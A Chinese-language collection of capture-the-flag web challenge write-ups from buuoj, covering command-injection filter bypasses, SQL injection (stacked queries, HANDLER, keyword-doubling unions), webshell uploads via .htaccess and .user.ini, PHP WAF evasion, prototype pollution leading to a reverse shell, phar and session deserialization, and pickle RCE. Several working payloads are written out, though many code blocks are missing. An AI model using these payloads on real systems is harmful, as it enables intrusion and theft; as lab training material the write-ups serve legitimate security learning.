buuoj WP1
[GXYCTF2019]Ping Ping Ping
命令执行漏洞
过滤空格
这里我们找到RCE的过滤空格,然后不断尝试(还没尝试完就放弃了,不应该)
然后用$IFS
绕过空格,发现过滤flag
然后用拼接法绕过,过程中发现$IFS
影响命令执行,改为$IFS$9
这种一般带着<?php
,需要查看源代码
出flag
还可以内联执行
内联函数:将指定的函数体插入并取代每一处调用该函数的地方。
反引号在linux中作为内联执行,执行输出结果。也就是说
1 |
|
sh命令来执行
使用 base64 编码的方式来绕过 flag 过滤。
加密命令echo “cat flag.php” | base64
;
解密命令并执行echo Y2F0IGZsYWcucGhwCg== | base64 -d | sh
然后用$IFS$9
代替空格。
[极客大挑战 2019]Secret File
一进来就要找秘密
看人名也没啥谐音,估计是恶搞,暂时没啥有用的
右键查看源代码
发现/Archive_room.php
进去以后是秘密
点开后跳转到/end.php
,然后显示没看清么?回去再仔细看看吧。
这里查看/Archive_room.php
的源代码,
发现查看秘密应该跳到/action.php
,但是我们却跳转到/end.php
,应该是302跳转
所以我们这里用curl访问(curl默认不跟随重定向,bp也可以做到)
让我们访问secr3t.php
进去后提示去/flag.php
访问/flag.php
后,不显示flag
找到了但是看不到,此时又想到了PHP的封装协议,我们用一下 [ACTF2020 新生赛]Include里面使用的方法
构造payload: /secr3t.php?file=php://filter/convert.base64-encode/resource=flag.php
解码,出flag
[强网杯 2019]随便注
可以查数据,加单引号会有报错
1' union select 1#
出现过滤,而且是大小写不敏感的,union注入不好使了。
实际上我们还有报错,但是因为过滤,常规报错注入也不好使
和[SUCTF 2019]EasySQL一样,这里竟然用堆叠注入,这是我没想到的,一直以为堆叠注入不会考
实际上堆叠注入没那么简单,也可以考的挺难
这里用show
来代替select
先通过show databases爆出数据库。
1 |
|
然后用 show tables 尝试爆表。
1 |
|
可以看到这里有两个表,我们先尝试爆words表的内容。
实际上,这里本来就是查的words表的内容,
也就是我们输入1
就是查的words表中id
为1的data
1 |
|
然后爆表 1919810931114514 的内容。
这里学到一个新知识点,表名为数字时,要用反引号包起来查询。
1 |
|
可以发现爆出来了flag字段,然而因为过滤,常规方法对于flag毫无办法
这里有三个思路
第一个,
通过 rename 先把 words 表改名为其他的表名(word1)。
把 1919810931114514 表的名字改为 words 。
给新 words 表添加新的列名 id 。
将 flag 改名为 data 。
之所以这么做,因为这里我们默认查的是words表,所以我们把1919810931114514 表改的像words 表,这样输入1就可以出flag了
1'; rename table words to word1; rename table `1919810931114514` to words;alter table words add id int unsigned not Null auto_increment primary key; alter table words change flag data varchar(100);#
第二个,
因为select被过滤了,所以先将
1 |
|
进行16进制编码
再通过构造payload得
1 |
|
进而得到flag
prepare…from…是预处理语句,会进行编码转换。
execute用来执行由SQLPrepare创建的SQL语句。
SELECT可以在一条语句里对多个变量同时赋值,而SET只能一次对一个变量赋值。
这里由于我将 1919810931114514 表的名字改为 words ,所以我应该用
1 |
|
构造payload
1 |
|
这里我们既查了1,又有16进制的payload,所以出现两个flag
第三个,
使用MySQL特有的HANDLER
命令来直接访问表数据,绕过常规的SELECT查询。
HANDLER命令详解
HANDLER
命令提供了一种比SELECT更直接的访问表数据的方式:
- 不需要完整的SQL解析
- 性能更高
- 但功能有限,主要用于顺序扫描表
常见HANDLER操作:
HANDLER tbl_name OPEN
- 打开表HANDLER tbl_name READ FIRST
- 读取第一行HANDLER tbl_name READ NEXT
- 读取下一行HANDLER tbl_name CLOSE
- 关闭表
下面是举例payload1(这是[GYCTF2020]Blacklist
的payload)
1'; handler `FlagHere` open as `a`; handler `a` read next;#
payload1解释如下
第一个操作:handler `FlagHere` open as `a`
HANDLER
是MySQL特有的低级表访问接口- 语法:
HANDLER table_name OPEN [AS alias]
- 这里打开名为
FlagHere
的表,并赋予别名a
- 反引号(``)用于包裹表名,防止特殊字符引起问题
第二个操作:handler `a` read next
- 使用之前打开的handler别名
a
READ NEXT
从表中读取下一行数据- 这会返回表中的第一行内容(因为这是第一次调用)
还有payload2,都大同小异了
1';HANDLER FlagHere OPEN; HANDLER FlagHere READ FIRST; HANDLER FlagHere CLOSE;#
payload2解释如下
第一个操作:HANDLER FlagHere OPEN
- 打开名为
FlagHere
的表 - 与前一条不同,这里没有使用反引号包裹表名,也没有设置别名
第二个操作:HANDLER FlagHere READ FIRST
- 读取
FlagHere
表的第一行数据 - 前一条使用的是
READ NEXT
,这里使用READ FIRST
更明确地表示要读取第一行
第三个操作:HANDLER FlagHere CLOSE
- 显式关闭之前打开的表
- 这是与前一条不同的新增操作,确保handler被正确关闭
这道题的payload:
1 |
|
因为改表名了,所以改为
1 |
|
[极客大挑战 2019]Upload
传个一句话木马试试
显示不是图片
MIME绕过
显示php后缀不行
改成php5试试,也不行
但phtml行,[ACTF2020 新生赛]Upload这一题也是用phtml上传
但是显示不能带<?
这里我们专门制作一个图片马,文件内容为
1 |
|
成功上传
蚁剑连接,出flag
[极客大挑战 2019]BabySQL
输入如下
注入点在password
' union select 1,2,3#
但是回显只有1,2,3#
,应该是有过滤
1' UNunionION SELselectECT 1,2,3#
这里有一个点,flag并不在当前数据库里(不要固化思维),所以我们要查所有库
' UNunionION SEselectLECT 1,2,group_concat(schema_name) FRfromOM infoorrmation_schema.schemata#
这里当前库是geek,flag不在geek库里,在ctf库里
' UNunionION SEselectLECT 1,2,group_concat(table_name) FRfromOM infoorrmation_schema.tables WHwhereERE table_schema = 'ctf'#
' UNunionION SEselectLECT 1,2,group_concat(column_name) FRfromOM infoorrmation_schema.columns WHwhereERE table_name = 'Flag'#
注意字段在ctf库的Flag表里,直接查会有如下结果
' UNunionION SEselectLECT 1,2,group_concat(flag) FRfromOM Flag#
语句如下
' UNunionION SEselectLECT 1,2,group_concat(flag) FRfromOM ctf.Flag#
这题其实并不难
关键点在于黑盒过滤以及flag不在本库的注入手段
[RoarCTF 2019]Easy Calc
一开始是一个计算器
右键查看源代码
让我们看一下其中的关键代码,这里JavaScript代码的作用是:
先向服务器发送要计算的数据, 用jQuery 选择器选中id为 “calc” 的表单元素,提取其中id为 “content”的HTML标签元素的值(即("#content").val()
相当于 document.getElementById("content").value
),并将其编码后放到calc.php?num=
后面,比如我们在计算器上输入1+1,实际就是发送num=1%2b1
到calc.php;然后处理服务器的响应并显示,当服务器返回成功响应时返回运算结果,当请求失败时返回“这啥?算不来!“。
1 |
|
然后这里我们看看calc.php
无非是一个黑名单
1 |
|
然后我们尝试在calc.php输入?num=phpinfo()
,试图执行echo phpinfo();
可以看到这里报错,我们没权限直接向calc.php传递数据
实测传递?num=1
和?num=1%2b1
可行(这里传参本质上和在计算器那里输入是一样的)
可以发现,这里num变量传递字母之类的都是不行的,
我们回想到
1 |
|
所以这里应该还有WAF,WAF之后才是calc.php,然后我们还要绕过calc.php的黑名单
原来waf我们是看不见的,我一直以为题里的源码,就是waf了。并且,waf并不是说,题目是用php写的,那么waf就一定是用php写的(也正因如此,这题的waf才会无法识别“ num”和“num”其实是一样的)。
这里怎么过WAF呢?有两种方法
第一种,PHP的字符串解析特性
PHP的字符串解析特性:PHP需要将所有参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事:
1.删除空白符 2.将某些字符转换为下划线(包括空格)【当waf不让你过的时候,php却可以让你过】。
假如waf不允许num变量传递字母,可以在num前加个空格,这样waf就找不到num这个变量了,因为现在的变量叫
“ num”
,而不是“num”
。但php在解析的时候,会先把空格给去掉,这样我们的代码还能正常运行,还上传了非法字符。
所以我们传参? num=phpinfo()
然后我们尝试命令执行? num=;system('ls')
看来WAF挺强的(其实disable_fuction也有system)
所以这里我们scandir() 函数进行目录读取,file_get_contents() 函数进行flag读取。
chr() 函数:从指定的 ASCII 值返回字符。 ASCII 值可被指定为十进制值、八进制值或十六进制值。八进制值被定义为带前置0,而十六进制值被定义为带前置 0x。
file_get_contents() 函数:把整个文件读入一个字符串中。该函数是用于把文件的内容读入到一个字符串中的首选方法。如果服务器操作系统支持,还会使用内存映射技术来增强性能。
var_dump() 将变量以字符串形式输出,替代print和echo.
scandir() 扫描某个目录并将结果以array形式返回,配和vardump 可以替代system(‘ls;’)
由于“/”被过滤了,所以我们可以使用chr(47)来进行表示? num=1;var_dump(scandir(chr(47)))
构造:/flagg
——>chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)
payload:? num=var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
空格也可换为+,如?+num=var_dump(scandir(chr(47)))
,php解析时,如果变量前面有空格,会去掉前面的空格再解析,PHP解析时 ,'num'
=' num'
='+num'
三者认为是同一个变量,但是waf只认’num’
而’ num’
和’+num’
都不在范围内,这样就能绕过waf。
chr(47)也可以换为hex2bin(dechex(47)),如?+num=var_dump(scandir(hex2bin(dechex(47))))
,dechex()函数把十进制数转换为十六进制数。hex2bin()函数把十六进制值的字符串转换为 ASCII字符。
file_get_contents()可换为file(),如? num=1;var_dump(file(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
,readfile()也可以? num=1;var_dump(readfile(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
,甚至可以用代码混淆技术,将readfile()换为? num=1;base_convert(2146934604002,10,36)(hex2bin(dechex(47)).base_convert(25254448,10,36))
第二种,HTTP请求走私
[极客大挑战 2019]BuyFlag
这道题比较考验信息搜集和信息处理能力
入手点在菜单处
然后这里给了提示,虽然这里并不知道是什么意思
查看源代码
发现要用post传递money和password
这里password要弱等于404,且不能是数字,这里用404a
money等于多少呢?
实际上已经给了提示,100000000
所以我们抓包传参
这里根据提示,似乎是将cookie中的user改为1
又显示数字太长
我们改成科学计数
[BJDCTF2020]Easy MD5
一开始并没有在第一个网页中找到思路
只是提交查询后弹出了一个参数
没想到提示要抓包重放看
Hint: select * from ‘admin’ where password=md5($pass,true)
md5(string,raw)
参数 | 描述 |
---|---|
string | 必需。规定要计算的字符串。 |
raw | 可选。规定十六进制或二进制输出格式: TRUE - 原始 16 字符二进制格式;FALSE - 默认。32 字符十六进制数 |
这里采用万能密码的方式去绕过,即构造or来绕过password
但这里输入要经过md5($pass,true),怎么构造万能密码呢?
可以发现md5('ffifdyop',true)
的结果为'or'6\xc9]\x99\xe9!r,\xf9\xedb\x1c
所以原sql查询语句则变为select * from user where username ='admin' and password =''or'6\xc9]\x99\xe9!r,\xf9\xedb\x1c'
,即可绕过
类似的字符串还有:md5('129581926211651571912466741651878684928',true)
=\x06\xdaT0D\x9f\x8fo#\xdf\xc1'or'8
所以我们只需要输入ffifdyop就可以绕过
然后进入第二个网页
右键查看源代码
这里使用了==弱比较
== 在进行比较的时候,会先将两边的变量类型转化成相同的,再进行比较
0e在比较的时候会将其视作为科学计数法,所以无论0e后面是什么,0的多少次方还是0。
这里完全可以去寻找明文不同但MD5值为”0exxxxx”
这里提供两个QNKCDZO和s878926199a,s878926199a和s155964671a
1 |
|
然后进入第三个网页
1 |
|
这里用php数组绕过,由于哈希函数无法处理php数组,在遇到数组时返回false,我们就可以利用false==false成立使条件成立。
param1[]=1¶m2[]=2
[极客大挑战 2019]HardSQL
又是黑盒
经测试,一些and、union、select、空格等常见的SQL语句被过滤了
这里用报错注入
用户名和密码其实都是注入点
1 |
|
1 |
|
1 |
|
1 |
|
这里只有部分flag,还要看另一部分
1 |
|
[SUCTF 2019]CheckIn
这道题和之前也是比较像的
首先上传了绕过短标签<?
的图片马,然后上传了.htaccess,发现直接用蚁剑连接webshell1.jpg时报错
并不能想明白是为啥,这时候我们需要了解下面几个配置文件的区别
- php.ini
php.ini是php默认的配置文件,其中包括了很多php的配置,这些配置中,又分为几种:PHP_INI_SYSTEM、PHP_INI_PERDIR、PHP_INI_ALL、PHP_INI_USER。
PHP_INI_USER的配置项,可以在ini_set()函数中设置、注册表中设置,.user.ini中设置。
- .user.ini
.user.ini文件
.user.ini实际上就是一个可以由用户“自定义”的php.ini,我们能够自定义的设置是模式为“PHP_INI_PERDIR 、 PHP_INI_USER”的设置。
它比.htaccess(分布式配置文件)用的更广,不管是nginx/apache/IIS,只要是以fastcgi(进程管理器)运行的php都可以用这个方法。
Php配置项中有两个比较有意思的项
auto_prepend_file指定一个文件,自动包含在要执行的文件前,类似于在文件前调用了require()函数。
auto_append_file类似,只是在文件后面包含。
- .htaccess
.htaccess叫分布式配置文件,它提供了针对目录改变配置的方法——在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。并且子目录中的指令会覆盖更高级目录或者主服务器配置文件中的指令。一般来说,如果你的虚拟主机使用的是Unix或Linux系统,或者任何版本的Apache网络服务器,从理论上讲都是支持.htaccess的。
目录规则:一般我们将.htaccess文件放置在网站的根目录,控制所在目录及所有子目录,而如果放置在子目录中,会受上级目录中.htaccess文件影响,是不起任何作用的。
.htaccess可以实现:文件夹密码保护、用户自动重定向、自定义错误页面、改变你的文件扩展名、封禁特定IP地址的用户、只允许特定IP地址的用户、禁止目录列表,以及使用其他文件作为index文件等一些功能。
所以.htaccess相对而言是比较针对Apache网络服务器,这时候我们看到上传路径里竟然有PHP文件
这时候我们可以考虑到上传.user.ini,
因为“不管是nginx/apache/IIS,只要是以fastcgi(进程管理器)运行的php都可以用这个方法”、“auto_prepend_file指定一个文件,自动包含在要执行的文件前,类似于在文件前调用了require()函数”
所以这里上传了.user.ini(注意上传图片马的时候改名,使其对应.user.ini)
然后用蚁剑连接PHP文件
注意这里的index.php并不是我们网页的那个PHP文件(里面实际上什么代码也没有)
网页的是这个,里面有上传文件的代码
[GXYCTF2019]BabySQli
给了源码地址
测出注入点在username
然后还可以知道返回字段数为3
'union select 1,2,3#
但是联合查询包括报错注入都不好使
然后发现提示
这是一段Base32加Base64的编码,解密结果为select * from user where username = '$name'
但到这里就没有思路了
然后看了看源码
1 |
|
这里发现成功登录就会输出flag,同时这里可以利用我们select出来的“123”$arr = mysqli_fetch_row($result);
然后就是这一题的重难点:联合查询所查询的数据不存在时,联合查询会构造一个虚拟的数据
我们本地尝试一下
先创建几个数据
此时一查就可以构造一条虚假用户
但是如果你再次刷新该库,数据并没有保存。(我认为这就是大佬们说的构造虚拟的数据,如有错误,欢迎指正)
注意上面代码的逻辑,我们此时完全可以修改select出来的“1,2,3”,达到类似' union select 1,'admin','matrix'
的效果,使其能够满足if($arr[1] == "admin"){if(md5($password) == $arr[2]){
我们先MD5加密一下matrix
1 |
|
' union select 1,'admin','21b72c0b7adc5c7b4a50ffcb90d92dd6'#
得到flag
[网鼎杯 2020 青龙组]AreUSerialz
我们直接看最后,这种题我们一定是要反序列化的,所以要过了is_valid
函数,
这一函数检查字符串中的每个字符是否在 ASCII 码的 32 到 125 之间,
只要是之间就可以
然后我们接着看代码
发现析构函数__destruct()
,然后我们再看process()
,发现我们要执行read()
才能得到flag
那这里就要求我们op==2
,且op
不能===2
,可以用数字2
这里我们直接解码后,有不可见字符
原来是类修饰符的问题
修改成public(竟然可以直接修改类修饰符,长见识了)
1 |
|
出flag
[网鼎杯 2020 青龙组]notes
给了源码,这一题考察的是Undefsafe模块原型链污染。
Undefsafe 是 Nodejs 的一个第三方模块,其核心是一个简单的函数,用来处理访问对象属性不存在时的报错问题。但其在低版本(< 2.0.3版本)中存在原型链污染漏洞(CVE-2019-10795),攻击者可利用该漏洞添加或修改 Object.prototype 属性。
这里我们知道了除merge函数之外的可以导致原型链污染的函数
除此之外,Lodash模块也可以导致原型链污染,这里提一下lodash中常见的导致原型链污染的方法:
- lodash.defaultsDeep方法
- lodash.merge 方法
- lodash.mergeWith 方法
- lodash.set 方法
- lodash.setWith 方法
言归正传,下面是Undefsafe 导致原型链污染的一个例子
1 |
|
我们先看源码,
先用语法糖写了个类Notes
,我们需要注意Notes
类的两个成员方法get_note
与edit_note
,这两个成员方法都用到了undefsafe
函数,一会从这两个成员方法入手,进行原型链污染
然后写了几个路由/'、'/add_note'、'/edit_note'、'/delete_note'、'/notes'、'/status'
,
用deepseek的话说,这段代码实现了一个基于 Express 框架的简单笔记应用,使用 Pug 作为模板引擎。用户可以添加、编辑、删除和查看笔记,同时还有一个 /status
路由用于执行系统命令并返回状态信息。
要注意'/edit_note'
路由,其中用到了edit_note
这一成员方法,而且三个参数都是我们可控的(而'/notes'
中的get_note
的参数并不是完全可控,因此不能利用)
通过上面的'/edit_note'
路由,我们可以进行原型链污染,但原型链污染了之后怎么利用?
这时候就要看'/status'
路由,它会将commands字典的所有的值进行命令执行
而且这个 for (let index in commands) 不只是遍历 commands 表,还会去回溯遍历原型链上的属性
所以我们的思路就清楚了
我们先在'/edit_note'
路由污染原型链的属性,然后在/status
处遍历原型链中我们污染的属性去执行恶意代码
下面我们需要用到公网IP,尽量搞一个云服务器或者vps
这里我想的是反弹shell,所以先写一个反弹shell的一句话木马
1 |
|
然后我们在刚刚一句话木马的目录下启动Python 3 中HTTP 服务器,并将其监听在端口 80 上(我这里是监听在80端口,大家可以根据自己的 安全组策略 去安排)
1 |
|
这时我们再写payload
1 |
|
注意先开nc监听(这里的端口要与一句话木马中的nc端口一样,不要和python服务的端口搞混了),初学者要搞清楚这俩端口的区别,分别代表着不同的服务(一个是python的HTTP服务,一个用来接受反弹shell)
1 |
|
然后用hackbar去POST传递payload
接受反弹shell后找一找目录,在/flag
里找到flag
也可以不反弹shell,下面的payload应该可行(实际比赛似乎做不到,怎么知道flag在哪个目录呢?)
1 |
|
[Dest0g3 520迎新赛]PharPOP
之前做过phar的题,但没想到可以这样考
按照我的理解,phar之于php,就如jar之于java
manifest 压缩文件的属性等信息,以序列化存储;调用phar://伪协议,可读取 .phar文件,而且Phar协议解析文件时,会自动触发对manifest字段的序列化字符串进行反序列化。
注意:Phar需要PHP >= 5.2 ,而且在php.init中将phar.readonly设为Off。
我们先读一下源代码,
代码里写了几个类,还有一个waf函数过滤类名,
最后是一个长度判断,规定了$_POST[1])
长度小于55,小于55我们肯定不能在这构造pop链了,但是我们可以利用类D中的$_POST[0]
构造pop链
然后大体的思路我们已经明白了:$_POST[0]
构造phar文件,其中写有pop链;而$_POST[1])
则写有序列化后的类D的对象,以此来操纵phar文件的写入读取。
但是这里依然有三个问题:
- 如何构造pop链去找到并读出flag?
- 源码末尾的
throw new Error("start");
会导致程序抛出异常,无法利用程序正常的结束来触发__destruct
,如何绕过? - 如何绕过waf函数?
我们逐步解决这三个问题,
第一步,构造pop链,
利用点在air类的echo new $p($value);
,可以想办法控制类名和参数,利用PHP原生类进行目录遍历或者文件读取(详见https://www.extrader.top/posts/35c0085d/)
在PHP原生类中,可遍历目录类有以下几个:
- DirectoryIterator 类
- FilesystemIterator 类
- GlobIterator 类
以DirectoryIterator 类为例,我们可以配合glob://协议使用模式匹配来寻找我们想要的文件路径(详见https://php.golaravel.com/wrappers.glob.html)
1 |
|
其他遍历目录类同理,然后可读取文件类有:
- SplFileObject 类
我们可以像类似下面这样去读取一个文件的一行:
1 |
|
综合一下,构造pop链,并形成phar文件
1 |
|
第二步,绕过throw
,
throw会阻碍析构函数进行,通过gc垃圾回收机制提前触发析构函数,
所以需要修改Metadata来绕过抛出异常,
用D这个读写类来举例,如果正常传入数据是无法触发__destruct
的,我们可以去掉末尾的大括号,这样会在反序列化时报错触发__destruct
1 |
|
或者传入序列化的数组,再将长度改的不匹配
1 |
|
这里采用第一种方法,我们用010editor删除最后的大括号,
1 |
|
但是这会导致原本的phar签名匹配不上,需要手动修复一下phar的签名
1 |
|
第三步,绕过waf
waf中含有各种类名,我们可以把phar进行压缩,这样可以绕过限制
https://guokeya.github.io/post/uxwHLckwx/
然后以url编码形式输出文件内容
1 |
|
输出后构造payload,
写入phar文件
1 |
|
读取phar文件,反序列化使得读出flag文件名
1 |
|
然后我们修改pop链,重复上面步骤,
1 |
|
1 |
|
有人写了一个半自动化的脚本,实测可行
1 |
|
[DASCTF X GFCTF 2024|四月开启第一局]web1234
没有前端,用dirsearch扫出/robots.txt和www.zip
代码审计,获得登录方式
在class.php中找到初始值
md5解码
登录成功http://ce62e496-2433-41bd-878a-963385664769.node5.buuoj.cn:81/?uname=admin&passwd=1q2w3e
根据提示,这里是session反序列化,
启动了session_start以后,就会找sess_XXX里的内容进行反序列化,反序列化后得到$Session对象,比如下面的aaa|O:6:”Config”:…就是对应的$_SESSION[‘aaa’],然后在程序执行完要退出之前,会重新把$SESSION写进sess_XXX文件,也就是序列化的过程,从而触发_sleep
(即写回去的时候就是序列化前面反序列化的对象)
这种Session的设计理念其实很好理解,如若不然,session存用户的登录状态,用户每次访问,哪怕所有属性都原封不动没有改变,代码都得手动设置$_SESSION[‘user’]=xxx,这样显然是不合理的
事实上$_SESSION[‘user’]=xxx往往只用于改变用户属性
上面我们讲了session触发sleep函数,然后我们构造pop链如下
1 |
|
为啥这样?请看下面三段代码
事实上,我们最后是想通过log()
(即第二段代码)将我们的一句话木马写入record.php,
所以我们要通过editconf()
(即第一段代码)去执行log()
,注意看,执行log()
的要求是filesize("record.php") > 0
,就是说record.php不能为空,
这就需要我们用上面的pop链做到,Config.__sleep -> Config.showconf() -> Log.__toString
,通过pop链执行Log.__toString
,从而将<?php\nerror_reporting(0);\n
写入record.php,使record.php不为空
1 |
|
1 |
|
原理明白了之后,我们形成利用session的payload:aaa|O:6:"Config":7:{s:5:"uname";N;s:6:"passwd";N;s:6:"avatar";O:3:"Log":1:{s:4:"data";s:11:"log_start()";}s:8:"nickname";N;s:3:"sex";N;s:4:"mail";N;s:6:"telnum";N;}
然后用payload制作sess_matrix文件,上传
然后在文件名处写马,⽂件名为 1’;eval($_POST[1]);# 即可
注意删去Cookie,防止再次写入<?php\nerror_reporting(0);\n
连接蚁剑,出flag
这里只能在文件名处写马,其他地方都会转义
[HFCTF 2021 Final]easyflask
根据指引和文件读取漏洞找到源码
读了源码,发现有pickle-Python序列化漏洞
1 |
|
但是需要从session入手,
所以我们需要知道密钥,尝试读取/proc/self/environ,得到
然后破解
1 |
|
我们可以知道,需要构造的秘钥结构:{“u”:{“b”:“反序列化的内容”}}
(注意一定要在Linux系统里运行下面脚本)
原因是windows和linux使用pickie.loads()反序列化的内部过程不太一样, 所以也就导致了在windows下可以通过loads()执行的内容放到linux下使用loads()加载就会失败, 所以我们需要把代码放到 linux环境里跑,得到一个base64
1 |
|
然后构造payload
1 |
|
开启监听,换session,访问/admin去反序列化
也可用写脚本直接出(也是在Linux系统里运行)
1 |
|